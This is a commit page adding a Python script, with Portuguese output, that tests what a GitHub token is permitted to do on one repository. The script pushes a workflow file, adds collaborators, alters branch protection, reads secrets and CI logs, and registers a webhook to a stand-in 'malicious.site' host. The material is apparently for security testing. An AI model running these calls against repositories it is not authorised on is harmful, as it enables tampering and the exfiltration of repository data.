Skip to content

Commit 871f939

Browse files
authored
Add files via upload
1 parent f2e9b27 commit 871f939

File tree

1 file changed

+170
-0
lines changed

1 file changed

+170
-0
lines changed

githubpentest.py

Lines changed: 170 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,170 @@
1+
### github.com/bulletdev
2+
3+
4+
import requests
5+
import base64
6+
import json
7+
8+
GITHUB_TOKEN = "ZZZZZZZZ" # INSERT GITHUB TOKEN
9+
BASE_URL = "https://api.github.com"
10+
headers = {"Authorization": f"token {GITHUB_TOKEN}"}
11+
12+
def test_private_repo_access(repo_name):
13+
print(f"\n[+] Verificando acesso ao repositório privado {repo_name}")
14+
url = f"{BASE_URL}/repos/{repo_name}"
15+
response = requests.get(url, headers=headers)
16+
if response.status_code == 200:
17+
print("Acesso indevido permitido ao repositório privado!")
18+
else:
19+
print("Acesso negado: permissão correta.")
20+
21+
def test_repo_modification(repo_name, new_description):
22+
print(f"\n[+] Testando modificação do repositório {repo_name}")
23+
url = f"{BASE_URL}/repos/{repo_name}"
24+
data = {"description": new_description}
25+
response = requests.patch(url, headers=headers, json=data)
26+
if response.status_code == 200:
27+
print("Modificação indevida permitida!")
28+
else:
29+
print("Permissão correta: modificação bloqueada.")
30+
31+
def test_github_actions_injection(repo_name, payload_content):
32+
print(f"\n[+] Testando injeção de código em workflow no repositório {repo_name}")
33+
workflow_url = f"{BASE_URL}/repos/{repo_name}/contents/.github/workflows/test_workflow.yml"
34+
payload_encoded = base64.b64encode(payload_content.encode("utf-8")).decode("utf-8")
35+
data = {
36+
"message": "Tentativa de injeção de workflow",
37+
"content": payload_encoded,
38+
"branch": "main"
39+
}
40+
put_response = requests.put(workflow_url, headers=headers, json=data)
41+
if put_response.status_code == 201:
42+
print("Injeção permitida no workflow!")
43+
else:
44+
print("Injeção de código bloqueada corretamente.")
45+
46+
def test_exposed_secrets(repo_name):
47+
print(f"\n[+] Verificando exposição de secrets no repositório {repo_name}")
48+
url = f"{BASE_URL}/repos/{repo_name}/actions/secrets"
49+
response = requests.get(url, headers=headers)
50+
if response.status_code == 200:
51+
print("Acesso não autorizado a secrets detectado!")
52+
else:
53+
print("Acesso negado a secrets, permissão correta.")
54+
55+
def test_token_scope_access(repo_name):
56+
print(f"\n[+] Verificando uso indevido de token com permissões limitadas")
57+
url = f"{BASE_URL}/repos/{repo_name}/issues"
58+
data = {
59+
"title": "Teste de criação de issue indevida",
60+
"body": "Esta issue foi criada para teste de permissão."
61+
}
62+
response = requests.post(url, headers=headers, json=data)
63+
if response.status_code == 201:
64+
print("Permissão indevida: issue criada com sucesso!")
65+
else:
66+
print("Permissão correta: criação de issue bloqueada.")
67+
68+
def test_collaborator_manipulation(repo_name, collaborator_username):
69+
print(f"\n[+] Tentando adicionar colaborador sem permissão no repositório {repo_name}")
70+
url = f"{BASE_URL}/repos/{repo_name}/collaborators/{collaborator_username}"
71+
response = requests.put(url, headers=headers)
72+
if response.status_code == 201:
73+
print("Permissão indevida: colaborador adicionado!")
74+
else:
75+
print("Permissão correta: manipulação de colaboradores bloqueada.")
76+
77+
78+
def test_branch_protection(repo_name, branch="main"):
79+
print(f"\n[+] Testando proteção de branch no repositório {repo_name}")
80+
url = f"{BASE_URL}/repos/{repo_name}/branches/{branch}/protection"
81+
data = {
82+
"required_status_checks": {
83+
"strict": True,
84+
"contexts": ["CI/Test"]
85+
}
86+
}
87+
response = requests.put(url, headers=headers, json=data)
88+
if response.status_code == 200:
89+
print("Alteração de proteção de branch permitida!")
90+
else:
91+
print("Permissão correta: alteração de proteção de branch bloqueada.")
92+
93+
def test_ci_logs_for_secrets(repo_name, workflow_id):
94+
print(f"\n[+] Verificando logs do workflow {workflow_id} para dados sensíveis")
95+
url = f"{BASE_URL}/repos/{repo_name}/actions/runs/{workflow_id}/logs"
96+
response = requests.get(url, headers=headers)
97+
if response.status_code == 200 and "secret" in response.text.lower():
98+
print("Possível vazamento de dados sensíveis nos logs!")
99+
else:
100+
print("Sem vazamento de dados nos logs.")
101+
102+
def test_graphql_access():
103+
print("\n[+] Testando requisições GraphQL para dados avançados")
104+
url = "https://api.github.com/graphql"
105+
query = """
106+
{
107+
viewer {
108+
login
109+
repositories(last: 5) {
110+
nodes {
111+
name
112+
isPrivate
113+
}
114+
}
115+
}
116+
}
117+
"""
118+
response = requests.post(url, headers=headers, json={"query": query})
119+
if response.status_code == 200:
120+
print("Acesso a GraphQL permitido! Dados recebidos:")
121+
print(response.json())
122+
else:
123+
print("Permissão correta: acesso GraphQL restrito.")
124+
125+
def test_webhook_injection(repo_name):
126+
print(f"\n[+] Tentando injeção de webhook no repositório {repo_name}")
127+
url = f"{BASE_URL}/repos/{repo_name}/hooks"
128+
data = {
129+
"name": "web",
130+
"active": True,
131+
"events": ["push"],
132+
"config": {
133+
"url": "https://malicious.site/webhook",
134+
"content_type": "json"
135+
}
136+
}
137+
response = requests.post(url, headers=headers, json=data)
138+
if response.status_code == 201:
139+
print("Injeção de webhook permitida!")
140+
else:
141+
print("Permissão correta: injeção de webhook bloqueada.")
142+
143+
repo_name = "Bulletdev/Bulletsecurity"
144+
collaborator_username = "usuario_collaborator"
145+
workflow_id = "25d026c"
146+
147+
payload_content = """
148+
name: Teste de segurança no Workflow
149+
150+
on: [push]
151+
152+
jobs:
153+
job1:
154+
runs-on: ubuntu-latest
155+
steps:
156+
- name: Injeção de teste
157+
run: echo "Injeção no workflow bem-sucedida"
158+
"""
159+
160+
test_private_repo_access(repo_name)
161+
test_repo_modification(repo_name, "Descrição de teste para alteração indevida")
162+
test_github_actions_injection(repo_name, payload_content)
163+
test_exposed_secrets(repo_name)
164+
test_token_scope_access(repo_name)
165+
test_collaborator_manipulation(repo_name, collaborator_username)
166+
167+
test_branch_protection(repo_name)
168+
test_ci_logs_for_secrets(repo_name, workflow_id)
169+
test_graphql_access()
170+
test_webhook_injection(repo_name)

0 commit comments

Comments
 (0)